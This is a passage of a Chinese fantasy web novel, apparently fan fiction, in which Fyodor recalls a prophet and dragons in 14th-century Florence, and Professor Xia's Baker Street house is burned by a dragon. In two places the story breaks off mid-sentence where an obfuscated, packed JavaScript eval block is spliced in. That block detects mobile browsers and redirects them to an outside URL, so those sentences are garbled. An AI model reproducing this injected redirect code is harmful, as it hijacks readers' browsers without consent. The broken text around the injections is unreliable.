“是费奥多尔不是费奥利奥啦。”作者说。 “这个又不是重点!重点是那家伙很有可能是个比布拉姆还要可怕的大麻烦!” 夏章雾烦躁地揉了揉自己的头发:“我可是还记得这里是个同人小说世界,而这家伙是原著里反派的!那个冰雪女王很明显也是看出他在干这种事上很有天赋了……” “哈哈,这、这样吗?” 作者尴尬地笑了两声:“听上去挺遗憾的。” 它感觉夏章雾肯定没有意识到自己做的事到底意味着什么。 就算是正常人,在遇到这么一个动不动就把自己抛弃几十年,时不时还会表演失忆症,几百年下来至今都叫不准名字的家伙后,也迟早会被折磨成变态的吧? 不过作者最后还是没去点醒他,只是有些好奇地问:“所以你打算牺牲自我,依靠谈恋爱的方式来拯救世界吗?那很有牺牲精神啊。” “……” 夏章雾沉默了几秒。 最后他给出了言简义丰的四个字作为回答。 “不如死了。” 他说。 93.那些仍在流传的故事们 欧洲的十四世纪。 就算是在这个被后世称为“黑暗”的时代里,这个世纪或许也是其中最黑暗的一百年。 覆盖面极广的饥荒率先来到这里,让大地上死去了十分之一的人口。紧接着是两个国家间持续了上百年的战争,收割了无数人的生命。仅仅又在战争开启的十年后,瘟疫爆发性地袭来,又有将近三分之一的人死在了病痛中。 除了顺序似乎正好反了过来,但这一百年来的声势浩荡,绝对能够让那个时代的人产生《启示录》的天启四骑士正在来临的幻觉。 “但有趣的是,未来人们或许对这个时代记忆更深刻的是它创造了无数奇迹的光荣时刻。” “比如这个天主教堂的圆顶?” “是啊,只要它不被毁掉,人们看到时就会想赞颂这个诞生了如此伟大与美丽创意的时代,从而忘记曾经带来如此多死亡的战争、饥荒与瘟疫。等等,瘟疫或许忘不掉。因为那些为防治瘟疫建立的东西或许会同样保留下来。” “听上去有点讽刺。” “我也这么觉得。但在看到它的时候,你会意识到它建立在瘟疫横行的时代、并且坐落在被瘟疫杀死了八成人口的佛罗伦萨吗?你会想到它的建立和大批大批运送尸体的队伍会出现在同一幅画卷当中吗,费奥多尔?” 费奥多尔抬起头。 他注视着那座美丽的建筑穹顶。 在辉煌的大圆顶中央,打开的窗洞让灿烂的光线垂落而下,金色的辉光照射出在空气中轻盈舞动的粉尘。优雅而美丽的复式多面体结构以无比精准的样式勾勒出极致的美感。彩绘的玻璃与金色的装饰塑造着无与伦比的神圣气息。 和他年幼时抬头看到的内容几乎别无二致。 只是那时他从那个窗洞看到的永远是漆黑的夜幕与冰冷的星。周围的建筑是冰冷而又坚硬的冰雪筑成的苍白颜色。 “我并不意外。”他说,“我曾经见过另外一座相似的塔。它的周围是一面足以照出世间万物的湖,湖上摆放着人死后成为的冰雕。” “听上去还挺有趣。你似乎总是会遇到这种稀奇古怪的故事。”他身边的人有些好奇地扭过头,“这座建筑的故事有什么后续吗?” 费奥多尔只是平静地挪开了视线。 “薄伽丘先生。”他说,“您觉得一座巴别塔会有什么样的结局?” 他身边的薄伽丘瞬间懂了这句话的意思。 巴别塔吗…… 狂妄与野心下建立的挑战神明的奇迹,必将受到灾祸的惩罚。 “那看来现在已经没有人能看到那座塔现在的样子了啊。”他眺望着上方,发出相当微妙的“啧啧”声,“也不知道这栋建筑到底能在历史当中留存多久。” 而此时费奥多尔已经转身打算离开了。 “不管怎么想,这种事情只有真正的先知才会知道吧。”他说,“走吧。” “诶诶诶,等我一下啦!” 薄伽丘转过头,才发现自己的朋友已经走了挺远,连忙赶了上去。 两三步重新跑到费奥多尔边上,他的口中还在抱怨着:“而且干嘛要用这种语气,简直就像是你真的见过所谓的先知一样……” 仔细地想了想,他赶紧又补充上了另外一句话。 “不过就算是你说你亲眼见过先知,我也不会信的!”他说,“世界上怎么可能会有这种比独角兽还要不可思议的东西啊!” 费奥多尔沉吟了一秒。 他回想着自己这辈子看到过的独角兽和先知的总数量。 独角兽,好几匹。用途是拉车或者拉房子。 先知,仅此一个。用途是驾着独角兽来拉车或者拉房子。 “嗯,确实比独角兽要少很多。” 最后,他实事求是地这么说道。 薄伽丘短暂地愣了一下。 “诶等等。你该不会真的见过独角兽吧!” 他完全不管此时他们两人已经走到了佛罗伦萨的大街上,周围都是来往的行人,只是大惊小怪地喊叫道:“你又不是什么纯洁的处女,凭什么见到独角兽啊!我都从来没有见过啊!” “……”费奥多尔没有立刻回话。 他只是默默地看了眼朝他们看过来的路人,开始思考自己是不是应该立刻表示自己根本就不认识这个吵吵囔囔的家伙。 怪不得全佛罗伦萨的文学团体就没有哪个人愿意和薄伽丘走在一块。和这个家伙一起上街实在是太丢人了。 但如果不及时说话,这个家伙绝对能够继续源源不断地念叨下去。一直念叨所有人都会过来问一句“哇,费奥多尔,我听说你以前还见过真正的独角兽”为止。 费奥多尔轻轻地叹了口气,再次为今天和薄伽丘一起出门感到了后悔。 “不是我找到的。”他不得不纠正了对方的思想,“起因是那位先知找到了好几只独角兽,让它们帮忙拉车。” 准确的说是通过暴力殴打的手段来说服独角兽过来拉车。但这种事要是真的说出口,总感觉还是会得到大喊大叫,所以还是算了吧。 但就算如此,薄伽丘还是露出了相当不信任的目光。 “所以你还见过先知!”他说,“但这听起来也太匪夷所思了。我们都知道,这个世界上根本没有先知。教会那里虽然时不时就会跳出来几个自称预言家的人,但基本都是假货。除了伊丽莎白·阿赫勒。嗯,除了她。” 伊丽莎白·阿赫勒? 费奥多尔歪过头,用有些微妙的眼神打量着自己的这位朋友。 但薄伽丘完全没有意识到他的眼神,只是皱着眉自顾自地说着:“毕竟她关于我们这个百年的灾难预言确实相当准确,教会也确实把她说出的预言给当真了。考虑到她甚至还不知怎么地活了一百多岁,确实可以算个奇迹……” “但如果仔细想想的话,一个百年毕竟是那么长的时间,不发生点灾难反而不可思议。虽然我们这个百年的灾难的确不同寻常,但那个预言本身依旧是相当容易被实现的废话。” 薄伽丘摸着下巴,有理有据地分析道:“而且除了这几个灾难预言,她基本什么预言都没有说过——对了,我记得她半个月前即将去世的消息传出来时,你还专门去找了她。有得到什么小道消息吗?” 伊丽莎白说过的预言太少了。 在不相信教廷的人们眼中,这位圣伊丽莎白最大的问题就在于此。 她在此之外基本没有做出任何预言,尽管她自己的说法是“预言不能随意说出”,但显然没有办法服众。尤其是在瘟疫到来时,因为这位在世的圣人不愿做出有关于瘟疫如何结束的预言,对她的不满声音也越来越大。 “她当然不是真正的预言家。” 费奥多尔语气平淡地回答:“她只在重复曾经遇到的那位先知讲述给她的预言。事实上,我那次去也是想要问她那位先知的事情。” 薄伽丘眨了眨眼睛。 他显然没有想到事情竟然会这么巧合,一时间都忍不住好奇了起来。 “该不会你们遇到的都是同一个先知吧?” 他说:“算算时间的话,你确实可以算是和她同一个时代的人。” ——否则呢?难道先知的数量已经多到可以用复数的地步了吗? 这下费奥多尔都有点无奈了。他侧过头看了眼薄伽丘,但最后还是耐着性子解释道:“我们遇到的当然是一个人。事实上,我们当初就是因为他相遇的。” 薄伽丘诧异地“喔”了一声。 他显然没有想到这种涉及到先知和教会圣人的故事竟然会离自己这么近。尽管他早就知道费奥多尔有过很多传奇经历,但这还是不妨碍他好好地惊讶一番。 毕竟先知这种存在实在是太令人好奇了。 谁不想要知道自己的命运呢?就算是对自己的未来没有什么兴趣,也肯定会好奇于这个世界以后会变成什么样子。 “所以你见过先知,那有没有问对方有关于自己未来的事情?”他兴致勃勃地追问道,“如果知道对方是先知的话,肯定会问吧——” “没有。” 然而费奥多尔给出的回答相当果断:“我并不想知道这方面的答案。” 关于自己在未来到底会变成什么样,他并没有太多的兴趣。这其中有很大一部分原因在于那位先知曾经说的关于“永恒”的那段话。 拥有了“罪与罚”这样异能的他,注定会活上相当久的时光。他需要做的是掌控和利用更加漫长的时间,而不是被这段时光改变。 如果提前知道了名为人生的故事会有什么样的结局,还没有任何方法改变那个未来,接下来的人生肯定会很索然无味。 更何况……他也不希望那位先知提前看到自己的未来。 “唔哦?那听上去还挺遗憾的。要是我肯定会问一问他,我在几百年后到底会不会变成超级有名的人。” 但薄伽丘显然不是这么想的。他很是精神地说道:“要是能听听未来人对我的夸赞,那真是做什么都值得了!所以你没有问这个,难道是问了其他有关未来的问题吗?” 有关未来的问题…… 的确是有的。 费奥多尔抬眸看着远方,轻轻呼出一口气。 “有一个。”他说,“我问他,我们未来还会不会见面。” 薄伽丘等了一会儿下半句话,结果只等到了安静的沉默。他眨了眨眼睛,有些小心翼翼地戳了戳对方的肩膀。 “呃,所以是不能见面吗?”他问。 “能。”费奥多尔淡淡地说,“就是我等了差不多有一百年。” 伴随着这句话的出现,周围的气氛突然变得微妙了起来。薄伽丘默默地咽了下口水,敏锐地察觉了突然下降的气温。 “哈哈,所以那是你在黑死病期间离开佛罗伦萨时发生的事情吗?” 他努力地运转大脑,尝试分散对方的注意,同时脸上还露出了尴尬不失礼貌的微笑:“毕竟我在佛罗伦萨完全没有听说过你和哪个突然出现的人关系不错的传言。” 费奥多尔抬眸看着薄伽丘。 “嗯。”他说,“当时关于黑死病是怎么爆发的,有很多来源和说法,包括女巫、吸血鬼、犹太人,而我听到了有关于龙的传说。” 别的东西他都并不在意,但是龙…… 他在小时候听那位吟游诗人和女巫说过,以前勒托先生出现过两次,而那两次都是为了杀死一头肆虐的龙。 所以当龙的消息出现后,等了几乎有一百年的他还是打算去碰碰运气,看看到底能不能见到自己想要找到的人。 “哦,其实那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15662814|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条龙就是根据启示录编的吧?毕竟当时大家的感觉就是:骑着马的骑士们全都出现了,那么七首十角的□□肯定也会出来,末日马上就要来了。” 薄伽丘也想起来了这件之前还颇有流传的谣言,抓了抓后脑勺,很爽朗地笑道:“最后事实证明,世界末日还晚得很嘛。我们现在不也在好好地活着吗?” 费奥多尔再次瞥了他一眼。 这一眼多少带着几分意味深长的味道。 “然后我就在墨西拿遇到了他。”他说,“当时他正好已经解决了那条龙。我赶到的还算是及时,所以好能看到他一眼。” “……”这回轮到薄伽丘陷入沉默了。 他好像有点明白费奥多尔为什么听到龙的消息就主动找上去了,这是有原因的。 “感觉比起先知,这位更像是屠龙者呢。” 最后,他只能这么评价。 “准确的说,龙也只是他致力于杀死的怪物当中的一员。”费奥多尔说道,然后眯起眼睛,看向远方。 他在回忆自己半个月前与伊丽莎白·阿赫勒的对话。 在他看到对方时,那位后来更改了名字的北地女巫已经垂垂老矣。那副蜷缩在椅子上的衰老之人的体态与记忆里的样子完全不同。 在一个世纪的时间过去后,还记得当年那件事的人现在也只剩下了他们。或许还有那几只重获自由的独角兽与冰鸟,以及一直陪伴在她身边的狮鹫。 “你还是来找我了。”那位老去的女巫抚摸着狮鹫伸过来的脑袋,一边咳嗽着一边说,脸上却依旧带着笑容,“咳,我知道你迟早要来的,就算是为了那位先知的信息,也会来找我。” 费奥多尔沉默地看着面前的老人。 她并不为自己的到来和现在的模样惊讶。她的身上弥漫着死亡将至的气息,她已经半个身子跨过了那道界限,现在只不过是强撑着一口气,勉强活着。 狮鹫趴在她边上,发出沮丧的呜咽声,也不知道是为她快死了难过,还是为了她现在活着也只是在受苦而难过。 “我以为女巫总会有延长自己寿命的方法。” 他说:“你不该现在就老成这副模样。” “咳咳,如果心态更好一点,那么我或许能够再活上几百年的时间吧。” 女巫的声音透着老人特有的沙哑与含糊,掺杂着浓痰卡在嗓子眼的声音:“但我觉得再这样活下去似乎也没什么意思。我看着大家一个接着一个老去或者死于疾病与意外,当初的那些小小的孩子,还有斯库德……咳咳咳。” 她咳嗽了起来,但满是皱纹的脸上反而出现了笑容:“但我毕竟知道了未来的灾难。支撑着我活下去的,就是想要为勒托先生口中的灾祸做点什么。现在已经尽了全力,灾难也开始平息。我也可以放心离开了。” 这样吗? 放弃了漫长的生命,选择安息。是和他完全不同的道路。 费奥多尔不喜欢对其他人的选择做出无谓的评价,更何况面前的女巫也没有评判自己所做出的选择。所以他只是安静地看着面前的人,等待着对方告诉自己最想要知道的那件事。 ——在几百年前,勒托先生杀死两条龙的详情到底是什么样的。 就在此时,敲门的声音轻轻地响起,然后一个抱着厚厚书籍堆的中年男人抱着厚厚的书堆走了进来。 “伊丽莎白女士。”他说,“我已经按照你的嘱咐,把你需要的书带过来了。” 女巫勉强坐直身子。她的脸上露出淡淡的笑容:“干得漂亮,安徒生先生,咳咳。把书交给这位先生……咳,这就是当初我和斯库德两个人空闲下来时整理的资料。这孩子也有帮忙,他小时候很喜欢这些睡前故事,咳咳。” 她笑着问面前的年轻人:“现在你是不是也在写睡前故事给孩子们听?” 中年人尴尬地咳嗽一声,点了点头。 “主要是总得哄那些孩子睡觉。” 他解释道:“而且这些资料的整理工作,我也只是对不同的版本进行了汇总而已。” 费奥多尔接过相当有分量的书。 中年人在自己送资料的任务完成后,又关心了几句面前的老人,然后便礼貌地告了别,走之前还为他们关上了门。 “他的名字叫安徒生?”费奥多尔目送着他离开的身影,突然开口询问道。 “是啊,汉斯·安徒生。当初勒托先生总是喜欢念叨这个名字,所以我就想着干脆拿这个名字来给这孩子取名……咳咳,恰好他就是一位北方的木匠托付给我们收养的。北方总是让我想起那段遥远的故事。” 女巫嘟哝了几下,然后抬起眼眸:“不过这些话也说够了。我来给你讲当初我从父母口中听到的故事吧……有些东西终究不方便被写在书上面。所以你要仔细听好。” 费奥多尔“嗯”了一声。 他抱紧书,站在她的面前聆听着那个故事。 “那是在相当久远的时间之前,炎巨人苏尔特带着火焰肆掠了这片大地。浓烈的火焰与烟遮蔽了夜晚的天空,让白昼再也没有到来。大地裂开,放出了吞噬一切的贪婪野兽。在无穷无尽的死亡当中,一只如蛇、如虫的龙从这所有的绝望中振翅飞出……” 女巫的声音很慢、很慢。 “就这样,杀死黑龙的天使降临了。” 94.有关龙和屠龙者的 对于某位并不愿意透露姓名的救世主来说,生活总是惨淡的。 但就算再惨淡,日子终究还是要过下去。 “事实上,仔细想想关于那个俄罗斯人的事情给我的冲击力也没有那么大。” 夏章雾抬起咖啡杯给自己灌了一口,看着自己手中正在批改的期末试卷,突然对作者这样说道:“至少没有这些东西对我的冲击力大。” 作者“唔”地发出十分微妙的声音。 它感觉某位费奥多尔先生,绝对绝对不会对这种比较感到高兴的。 期末时期,办公桌上的卷子很多。 当然,不及格的卷子更多。 各个平时不努力的学生在期末考卷上给出的答案可谓是五花八门,充斥着一种对生命的强烈渴望。虽然他们连什么是大传统,什么是小传统都不知道,但他们真的很努力地在编了。 什么大传统是所有民族共有的传统,小传统是每个民族特有的传统都答上来了。不知道的还以为这道题是在问“共性与个性的区别”。 “答案明明就是两句话的事情,而且也不难记,那些蠢货复习时都复习不到吗!” 夏章雾咬牙切齿地用钢笔在上面画了个巨大的叉,力度大到都快把笔尖给折了:“这群家伙是不是复习时连课本都找不到了!到底是谁会在虚拟亲属的简答里面回答sugar daddy啊!” 整个办公室在某位人类学教授的熊熊怒火之下,显得格外安静无声。 独自批改另外一个班级卷子的蛇正在努力地压缩自己的存在感,趴在地板上用魔法操控十来支笔同时给十来份卷子打叉。 在批改填空题的坂口安吾假装自己在办公室里根本不存在。就连平时动不动就要撩拨夏章雾几下的太宰治都安静地在批改选择题答案。 ——当然,他现在这么安静的原因有很大一部分在于他的嘴被用胶带绑住了。是夏章雾十分友善地给织田作之助提供了这种不伤皮肤的无纺布胶带。 值得一提的是,这个胶带是被夏教授的抽屉里面拿出来的。至于那玩意到底为什么会被放在抽屉里,那就有点细思极恐了。 只有织田作之助还没有完全地意识到目前的气氛。他只是觉得夏章雾现在大概只是对这些卷子“有点”生气。 至于到底是怎么判断出来的…… 可能是因为夏章雾现在还没有到直接把抽屉里的手枪拿出来,直接冲出办公室上演期末考试物理版的地步? 所以现在在场的人里,只有织田作之助还会对夏章雾改卷子时发出的骂骂咧咧进行打断。 比如说现在。 他听到外面传来有节奏的敲门声,于是走过去主动打开了门,转头对里面正在大肆批判自己学生的夏章雾说道:“勒托先生,卡夫卡先生过来找你。” 夏章雾头也不抬,继续和那群学生写出的离谱答案进行着殊死搏斗,一边磨牙一边忙里抽空地回答道: “让他进来——还有这群天天就知道研究那些古典魔法,结果连宗教人类学都不知道是什么的混蛋给我全都从人类学专业滚出去!但凡他们愿意搞一点学术性研究呢?” 结果就是这位隔壁法学院的教授刚进门,就听到了自己老朋友在被学生期末试卷折磨得够呛后,发出的铿锵有力的评价: “这种混沌魔法流派的傻子连神秘学协会都不收!” 他愤愤地说:“我看校长还是把他们全部都卖给我们那个坐落在阿卡姆镇的友校当医疗素材吧,反正他们总是抱怨说医疗素材不够……” “咳咳咳,这个犯法了吧?” 卡夫卡终于看不下去了,他咳嗽了一声,坐在沙发上小声地提醒道。 虽然在代替夏章雾当教授的那段时间里,他已经充分意识到了人类学专业的这群小崽子到底多能折磨人,但卡夫卡多少还属于良心未泯的群体,干不出这种人口贩卖的事情。 夏章雾对此的反应是冷酷无情地“呵呵”了两声,然后把手中的卷子直接对折好,给卡夫卡丢了过去。 “你先看看他们到底在卷子上怎么回答问题的再说吧。”他说,“这群天才就应该在我们有效的医学专业发光发热,至少我确定他们绝对会对这些蠢货的大脑结构病变感兴趣。” 卡夫卡打开试卷,低头一看。 试卷的背面一个字都没有写,只有一个特别巨大的魔法阵仪式填满了纸张几乎所有的内容。而且还是用红笔涂出来的魔法阵,看上去很是触目惊心。 然后他就听到了一众倒吸凉气的声音在自己的身边响了起来。 卡夫卡扭头看去,发现在场的三个未成年和一条蛇都围在了自己的身边,眼中都是没法压抑住的好奇。他们盯着那张卷子,表情几乎都是清一色的浓浓敬佩——敬佩这位竟然敢在卷子上写这种内容的勇士。 除了那位红头发的……似乎是叫作织田作之助的孩子。他看上去还是一如既往地认真,似乎正在思考这种东西是否具有某种危险性。 喂喂,不过这种反应也太夸张了吧? 他无奈地重新低下头。 光是看看这张卷子,他就已经想到了这个学生在考场上是怎么通过各种稀奇古怪但并不会被判违规的道具作法的了。 至于魔法仪式的效果么……他倒是并不怎么清楚。但他很清楚一点:如果这个学生是想要通过这种方式来避免不及格,那他的魔法一定失败得相当彻底。 卡夫卡默默地又把卷子和拢。 他稍微想象了一会儿自己的学生在考场上试图用扔骰子的方式来回答法律问题的场景。 很好,很有代入感。他瞬间就理解了为什么夏章雾每年在期末时脾气总会变得异常暴躁,让所有人都不敢接近他。 “但就算如此,你直接拿着卷子去找校长,让他给那几个学生退学不行吗?”卡夫卡把卷子还回去,有些头疼地询问道。 他是知道自己的这位朋友素来是不怎么做人的,甚至他们之所以成为朋友,也有相当程度的原因在于对方的不做人。但他真的不希望对方真的惹上什么法律案子…… “退学?开什么玩笑。” 夏章雾重新摊开卷子,在这个巨大的魔法阵上面画了一个巨大无比的叉,冷笑着说道:“这群兔崽子现在就敢在我的期末考试里面玩魔法和巫术,等他们退学后敢在普通人中玩什么,我想都不敢想。” 他拿起下一份卷子放在桌上,然后下一秒就被这位试图用卢恩文字来在期末考试中蒙混过关的天才成功逗笑——该不会真的有小傻子觉得他们的教授看不懂卢恩字母吧? 再一看内容,含糊不清,不知所云。 这也正常,毕竟你用卢恩字母怎么回答“亲属关系人类学的最新理论有哪些”?你用卢恩字母能表达“亲属关系人类学”这个词吗? 于是夏教授以坚定不移的态度给了零分,然后继续用恶狠狠的语气说道: “只要敢把他们退学,要不了两年,我出门做田野调查的时候就能看到他们以异教徒的身份登场,然后他们就能以尸体的形式被我们卖给隔壁友校的医学专业了。要我说,这种事情根本就不需要那么多流程!” 卡夫卡不吱声了,目光偷偷地飘移起来。 仔细一想,好像确实是这么一回事。 而旁边正在假装自己正在专心干活的坂口安吾则是默默地提取出了关于布利切斯特大学人类学专业的两个关键信息。 首先,在学业中有极大可能性成为尸体,然后卖到隔壁友校的医学专业。 其次,在毕业几年后有极大可能性被出门的老师变成尸体,然后卖到隔壁友校的医学专业。 ……所以说,他为什么不直接去读隔壁友校的医学专业呢?他觉得自己的异能其实也很适合学医的。 坂口安吾抬起头,幽幽地叹了口气,只觉得自己承受了这个年纪不应该承受的生存压力。而当他想到下午还要被织田作抓去练枪时,这种感觉就更浓郁了。 “而且就算是我现在省略了一切步骤,直接把那个家伙给出售给我们友校的医学系当做活体素材,我也不会有事。” 夏章雾泰然自若、甚至有点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15680912|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骄傲地说:“反正站在辩护席上的律师是你又不是我。我只需要在被告席上面啃瓜子就行了。” 卡夫卡:“……” 这就是他不希望这家伙惹上官司的原因。 这家伙是不管怎么样都很逍遥自在,但他可是要为他去四处奔波和出席法院的!那可不比帮忙代几个月人类学的课要轻松! 不过被这么一说,几个月前惨痛的记忆涌上心头后,卡夫卡反而想起来了自己来到这里的目的。 当然不是和夏章雾聊天。事实上所有认识夏章雾的人都知道永远不要在期末季和他聊天。他过来是说正事的。 “对了。”他赶紧转移了话题,“你知道你在贝克街的房子今天塌掉了吗?” “咔吧”一声。 那根不堪重负的钢笔尖终于断掉了。 夏章雾抬起头,手中紧紧握着那根报废的钢笔。与此同时,办公室里所有其他的生物也纷纷投来了诧异的视线。 “啥东西塌了?” 事故的主人公满脸不可置信地问。 他根本就不认为自己的房子会塌。 虽然它岌岌可危,虽然它年久失修,虽然它怎么看都是那种下一秒就会塌掉的房子,但它毕竟已经坚强地存在了好几个世纪。所有人都只会认为那是座可怕丑陋又糟糕的房子,而不是会突然坍塌的房子。 “贝克街222号。” 卡夫卡实事求是地说:“我建议你还是先回去看一眼到底发生了什么,毕竟那应该是你唯一的房……” “剩下来的试卷就交给你了!安吾,把参考答案丢给卡夫卡!我们走!” 夏章雾毫不犹豫地站了起来,拽起正在地板上装死的蛇就冲出了办公室门。其余的人也在同情地看了眼茫然的卡夫卡先生后,也跟着跑了出去看热闹。 然后还没有过三秒,门又被打开了。 在卡夫卡希望某个人能够突然良心觉醒的目光下,夏教授只探出来了半个脑袋。 他说:“哦对,这群傻子的试卷其实随便看着给分就行了,能给多低就给多低。不要有心理负担,就当是他们前几个月一直给你代课添麻烦的报应,不用谢。” 然后门就被毫不留情地关上。 “啪嗒”一声。 卡夫卡沉默了几秒。 不是,你到现在都不知道我那几个月压力那么大到底是为什么吗? 你的学生只是小问题,最大的原因其实是他作为法学系的教授不知道该怎么给人类学的课程备课啊!每天他都要补习人类学知识补习到深更半夜,都快要因为熬夜猝死了! 但他最后只是叹了口气,看着厚厚的卷子,打算帮忙批改几份。 “我是不是上辈子欠了这家伙五百英镑,这辈子才会沦落到成为他的朋友啊……”他嘟哝着拿起另一只新笔,在座位上老老实实地给那些卷子打零分。 等批改完了十来份卷子,他才突然想起来因为夏章雾跑路的速度太快,有东西还没来得及和对方说。 比如说对方的房子完蛋的原因其实是深夜烧了起来。 比如说当他的房子烧起来的时候,柯南·道尔和道格拉斯还在隔壁的贝克街221号窗户边上津津有味地吃瓜。 比如说据柯南·道尔和道格拉斯的说法,那个房子烧起来其实是因为那天晚上有一只龙刚好路过了那个位置,然后问了他们一件事。 “屋子里的主人现在在哪里?我找他。” 龙问。 “嗯嗯,隔壁的屋主?现在应该在暴躁地批改期末试卷吧。”道格拉斯愉快地回答,“他最近大概是回不来了。有什么事情吗?” “不过你要是把那个房子一把火烧了。他大概会连试卷都不改了,专门抽出宝贵的时间来进行追杀。” 柯南·道尔插了句嘴:“而且肯定还会相当的痛心疾首吧。” 龙点了点头。 “很有用的信息。看在这个的份上,我不会把那把火少到这里来。”它说。 然后它就飞起来,把贝克街222号给烧了。 95.所有传说和故事皆是 布利切斯特大学所处的地点相当朴实无华,就是塞文河流域的布利切斯特镇,位于牛津的更西方,与伦敦有着几个小时的火车流程。 路程倒不算远,但是如果住在伦敦,去布利切斯特大学教书依旧是件相当麻烦的事情。毕竟来回需要消耗的漫长时间对于大多数人来说很难忍受得了。 而夏章雾惯常的策略就是把自己上课的时间稍微调整了一下,集中在周二到周四这三天。这三天他直接睡办公室,然后等周四下午上完课后就立刻收拾东西滚回伦敦,享受美好假期。 除了期末季。 每当学期末的时候,夏章雾都会有一周不回伦敦,而是在布利切斯特咬牙切齿地和那群仿佛命中注定要来折磨他的学生们斗智斗勇。 他要负责的包括但不限于把逃避期末成绩的学生从各种异端教派中拖回去考试,让试图在宿舍或者考场用跳大神方式请神上身的学生滚去精神病院,批改令人血压上涨的试卷,收拾考完试后就无法无天的学生,把意外死亡的学生尸体送给隔壁友校医学系做研究…… 简而言之,就是非常繁忙。 “所以我说的话也没有错吧?” 柯南·道尔振振有词地说道:“如果不出了这档子事,你怎么可能会在这个时候回来?要是等你忙完了学校里的事情,下周四赶回来,那恐怕什么事情都要晚了。” 他这话说得相当理直气壮。 不过他能在夏章雾的面前表现得这么理直气壮,主要原因还是在于此时受害者已经不太可能直接冲过来打死他了。 只见道格拉斯·亚当斯先生紧紧地抱着夏章雾的左臂,织田作之助拽着夏章雾的右臂,坂口安吾紧张地在前面拦着拿着左轮手枪的大人。 “算了算了,夏。” 道格拉斯安慰道:“虽然柯南·道尔的样子真的很欠揍,虽然提议龙烧你房子的确实是他,但你要是真的把他给打死了,钟塔侍从肯定要不满的。毕竟怎么说也是个超越者啊。” “我才不管那么多,我今天就要把这家伙连同他的贝克街221号也一起埋了!” 在赶回伦敦后,得知了全部真相的夏章雾显然已经进入了极端愤怒的状态:“我今天就要让他下地狱为这件事忏悔!钟塔侍从想干什么和我没有关系!” 坂口安吾也在尝试劝说。 “勒托先生你冷静一点!”他说,“道尔先生要是死掉的话,那你的房子赔偿金就没有人支付了!精神损失费也没有人付了!” 夏章雾怒极反笑。 “谁信这个连下半年经费都申请不下来的废物侦探能支付我的房子费用和精神损失费啊!而且你看一眼他那么得意洋洋的样子就知道绝对没有半点的内疚心!”他说。 “?” 本来还有点嚣张的柯南·道尔脸上的笑容几乎瞬间就消失了。这位职业荣誉受到了前所未有挑战的伦敦名侦探于是也紧随其后的炸了毛。 “申请不到经费又不是我的错!” 他超级大声地喊道:“问题明显都在阿加莎那个超级无敌龟毛的女人身上吧!隔三差五就找各种各样的无端理由来扣我的经费和工资,明明是钟塔侍从的骑士长,但发钱这方面还没有人傻钱多容易被谋杀的暴发户大气耶!” 道格拉斯听得眼皮跳了跳。 “我突然觉得你就算是把他给打死,钟塔侍从也不会有多大意见了。”他很真诚地对夏章雾这样说道,感觉突然失去了阻止的理由。 坂口安吾震惊地看着道格拉斯。 ——等等,现在少了个人拦着,那不是说明他们的“阻拦勒托先生怒杀邻居联盟”马上就要垮台了吗? 太宰有什么办法……等等,太宰不在。 想到这里,他赶紧向织田作之助使眼色。 快想想办法啊,织田作! 织田作之助有些迷茫地看了眼他,并不明白对方突然看向自己到底是为什么。不过他考虑了几秒,最后还是有些不解地问了自己之前一直在思考着的问题。 他说:“可是勒托先生,如果你把道尔先生打死的话,那他就没有办法还上之前欠你的五十英镑了吧?” 这也是他到现在都没有思考明白的事。不管怎么看,就算是要把人打死,那也肯定是在对方还钱之后才会去做的事情。 就算是他以前杀手的行业里,在通过物理方式解决和雇主间纠纷之前,也得先拿到雇主说好的雇佣金才行。不过在杀手行业里,似乎也没有哪个雇主会拖延五十英镑这么久就是了。 “……” 夏章雾突然陷入了沉默。 怒气稍微褪去了一点,关于欠款的记忆重新回到了脑海。他幽幽地、幽幽地看了一眼柯南·道尔,最后捏紧了拳头。 “好吧,柯南·道尔。看来我们所有的新仇旧恨就在这里报了吧!”他杀气腾腾地说,“今天要是你不给我付款还钱,我就要拿你的生命来祭奠我逝去的房子和五十英镑!” 柯南·道尔大惊失色,掉头就溜。 他能看出来,现在夏章雾绝对是真的动杀心了!要是不跑快点真的会冒出人命啊! 就在这时,太宰治的声音从楼上响了起来。 “大叔——我们成功地把道尔先生存钱的地方翻出来啦!” 一个毛茸茸的黑发脑袋探了出来,那对鸢色的眼睛亮闪闪的。 他兴奋地挥了挥手中的钱包,超级大声地喊道:“里面竟然有好几百英镑的存款耶!比大叔你的钱包富裕太多了!而且费奥多尔先生说他还发现新的值钱东西——我们要有钱啦!” “是的是的!”没什么用的蛇也探出脑袋高声喊道,“老大,我们家有钱啦!” 伴随着这个声音,因为房产问题而导致的激烈战斗终于在开始之前就停息了。 下面的人齐齐抬头往上看去。 而坂口安吾则是明显松了一大口气。他擦了擦额头上的冷汗,很是欣慰地看着及时冲出来的太宰治。 果然,他就说兵分两路还是很有用的。现在这次差点引发杀人案的危机总算是过去了。 就这样,气氛在相当微妙的情况下安静了大概十秒钟左右。最后还是抱着笔记本电脑走到窗边的费奥多尔打破了这一片沉默。 “啊,其实也没有太多值钱的东西。” 他说:“我就是看到道尔先生的电脑,于是尝试性地破解了一下开机密码。勒托先生想要看看吗?不过这上面没有什么存款,我还是建议您如果想要精神损失赔偿的话,去找钟塔侍从的克里斯蒂女士要有用得多。” 这个建议非常实用。 